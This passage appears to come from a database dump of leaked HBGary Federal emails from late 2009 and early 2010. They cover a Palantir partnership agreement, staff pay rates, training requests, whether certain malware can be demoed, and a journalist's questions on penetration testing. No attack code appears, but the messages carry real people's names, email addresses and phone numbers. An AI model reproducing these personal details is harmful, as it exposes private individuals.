&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95.72\r\n121.57 142.63 Program Manager 3 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 105000\r\n1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 105.80\r\n134.36 157.64 Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 3:31 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, what works for you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n22, 2009 11:23 AM\r\nTo:&nbsp;Penny Hoglund\r\nCc:&nbsp;Greg Hoglund; Ted Vera\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk that\'s what I want to talk about. &nbsp;Can we set up a\r\nteleconference?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 1:15 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot necessarily, they are integrating with HBGary, not HBGary\r\nFederal since we are having to do integration.&nbsp; HBGary Federal will sell that\r\nintegration and use it but if is effects the software it should be under HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n22, 2009 7:25 AM\r\nTo:&nbsp;Greg Hoglund; Penny\r\nLeavy\r\nCc:&nbsp;Ted Vera\r\nSubject:&nbsp;Fwd: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI. &nbsp;Partnership agreement with Palantir. &nbsp;First\r\nglaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the\r\nrest now.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;December 21, 2009 6:01:57 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nPalantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9773,'aaron_hbgary_com/9773.html'),(913,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000135.M692883P3547Q913.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: Palantir partnership','yep. &nbsp;It is definitely not readable. &nbsp;Funny it didn\'t look like that when I sent it. :)Here is a link to the working spreadsheet. &nbsp;Ted is working up some package offerings as we speak.https://spreadsheets.google.com/a/hbgary.com/ccc?key=0Aru9N_XVzxNhdG1YQUVkUEVTU0tVZDBZa1RzV2x4RVE&amp;hl=enAaronOn Jan 4, 2010, at 3:40 PM, Penny Hoglund wrote:This is not readable, can you put into a spread sheet&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, December 23, 2009 9:41 PMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: Palantir partnership&nbsp;Hi Penny,&nbsp;Here are the rates Ted and I have worked up. Tomorrow we are going to work out some package rates for different types of work and we can talk about those. The multiple is 1 for Colorado, 1.27 for Sacramento, and 1.49 for DC to reach the Median Salary.&nbsp;Title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Base&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mult.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Salary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/co&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/ca&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/dcReverse Eng Level 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65000 1.49 96850&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65.49 83.18 97.59 Reverse Eng Level 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65 108.77 127.61 Reverse Eng Level 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 SW Dev 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000 1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42 70.38 82.57 SW Dev 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000 1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57 95.97 112.60 SW Dev 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000 1.49 81950&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42 70.38 82.57 Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70000 1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70.53 89.58 105.09 Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65 108.77 127.61 Cyber Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000 1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42 70.38 82.57 Cyber Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70000 1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70.53 89.58 105.09 Cyber Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65 108.77 127.61 Foreign Linguist 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000 1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57 95.97 112.60 Foreign Linguist 2&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 Foreign Linguist 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105000 1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105.80 134.36 157.64 Program Manager 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000 1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57 95.97 112.60 Program Manager 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 Program Manager 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105000 1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105.80 134.36 157.64 AaronOn Dec 22, 2009, at 3:31 PM, Penny Hoglund wrote:OK, what works for you?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 11:23 AMTo:&nbsp;Penny HoglundCc:&nbsp;Greg Hoglund; Ted VeraSubject:&nbsp;Re: Palantir partnership&nbsp;Ok that\'s what I want to talk about. &nbsp;Can we set up a teleconference?&nbsp;AaronFrom my iPhoneOn Dec 22, 2009, at 1:15 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:Not necessarily, they are integrating with HBGary, not HBGary Federal since we are having to do integration.&nbsp; HBGary Federal will sell that integration and use it but if is effects the software it should be under HBGary&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 22, 2009 7:25 AMTo:&nbsp;Greg Hoglund; Penny LeavyCc:&nbsp;Ted VeraSubject:&nbsp;Fwd: Palantir partnership&nbsp;FYI. &nbsp;Partnership agreement with Palantir. &nbsp;First glaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the rest now.&nbsp;Aaron&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date:&nbsp;December 21, 2009 6:01:57 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Palantir partnership&nbsp;Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15170,'aaron_hbgary_com/15170.html'),(914,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000135.M881393P3547Q914.eml','\"Penny Leavy\" <penny@hbgary.com>','Responder Training','Penny,\r\n\r\nXetron would like to put 1 or 2 people in the next training class.  Is the one for this month full?\r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6829,'aaron_hbgary_com/6829.html'),(915,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000136.M85903P3547Q915.eml','\"Greg Hoglund\" <greg@hbgary.com>','Questions','Greg,\r\n\r\nI have a telecon with Palantir Wed. at 4:30pm.  Do you have the person identified that will work on the integration, and if so can they attend this meeting?\r\n\r\nSecond, are any of the listed Malware (such as the VMWare and W2003) demoable?  Xetron would like to take those to a few customers to illicit interest.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11231,'aaron_hbgary_com/11231.html'),(916,'2010-01-04','\"Lori Baylor\" <lbaylor@palantirtech.com>','/aaron@hbgary.com/new/1297000137.M855921P3547Q916.eml','aaron@hbgary.com,aaron@hbgary.com','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is the executed P3 agreement. \r\n\r\nThank you, Lori\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nLori Baylor\r\nPalantir Technologies | Contract Administrator\r\nlbaylor@palantirtech.com&nbsp;\r\n| phone 650.815.0227 | fax 650.812.0534\r\n_________________________________________________________\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 28, 2009 10:32 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere you go.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4142,'aaron_hbgary_com/4142.html'),(917,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000138.M958507P3547Q917.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Palantir partnership','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Lori Baylor \r\n> Date: January 4, 2010 5:13:17 PM EST\r\n> To: \"aaron@hbgary.com\" \r\n> Cc: Matthew Steckman \r\n> Subject: RE: Palantir partnership\r\n> \r\n> Attached is the executed P3 agreement.\r\n> Thank you, Lori\r\n>  \r\n>  \r\n> _________________________________________________________\r\n> Lori Baylor\r\n> Palantir Technologies | Contract Administrator\r\n> lbaylor@palantirtech.com  | phone 650.815.0227 | fax 650.812.0534\r\n> _________________________________________________________\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, December 28, 2009 10:32 PM\r\n> To: Matthew Steckman\r\n> Subject: Re: Palantir partnership\r\n>  \r\n> Here you go.\r\n>  \r\n> Aaron\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10527,'aaron_hbgary_com/10527.html'),(918,'2010-01-04','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000139.M198999P3547Q918.eml','aaron@hbgary.com','Fw: Re: Question re Cybersecurity story','Hi Aaron, FCW editor John Moore has some followup questions based on his interview with you last week. Please keep your&nbsp;answers short and&nbsp;know that they may be used as quotes from you in the article. \r\n&nbsp;\r\nPlease send final answers to me and then I\'ll pass on to John. John asked if you could provide the answers by EOD Tuesday (tomorrow) if possible. If you need more time, please let me know and I\'ll check with John. Thanks! Best, Karen&nbsp;--- On Mon, 1/4/10, John Moore &lt;jmwriter@twcny.rr.com&gt; wrote:\r\nFrom: John Moore &lt;jmwriter@twcny.rr.com&gt;Subject: Re: Question re Cybersecurity storyTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, January 4, 2010, 2:15 PM\r\n\r\nKaren:\r\n\r\nI have a couple of follow-up questions for Aaron Barr:\r\n\r\n* From the interview, it\'s my understanding that penetration tests are typically performed by external consultants and probe an organization\'s perimeter security. Testers may acquire usernames/passwords in the process (through password guessing tools?). Vulnerability assessment tiger teams, meanwhile, consist of internal IT staff. The team scrutinizes an organization\'s security policies and procedures and may engage in social engineering, if permitted. Is that the correct distinction?\r\n\r\n* How do tiger teams pursue social engineering attacks? Do they simulate phishing scams to see if they can extract passwords? Do they phone end users? Both?&nbsp;\r\n\r\n* Why do some organizations prohibit social engineering as part of tiger team assessments?&nbsp;\r\n\r\n* The insight gained from penetration tests/tiger teams (the number of passwords obtained and how they were obtained, for example) can be integrated back into an agency\'s training program. So, in other words, an agency might emphasize phishing awareness if many users fall for scams?&nbsp;\r\n\r\n* Just to clarify, Aaron recommends quarterly tiger team vulnerability assessments and annual external penetration tests -- is that correct?\r\nRegards,\r\n\r\nJohn&nbsp;\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 11:04 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi John, In case you wanted to see some background on HBGary Federal and Aaron Barr, I sent you the recent release below. Best, Karen\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\nFor Immediate Release \r\n&nbsp; \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\n&nbsp; \r\nNew Venture Led By Cybersecurity Experts and Former&nbsp;Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\n&nbsp; \r\nSacramento, California , December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\n&nbsp; \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop 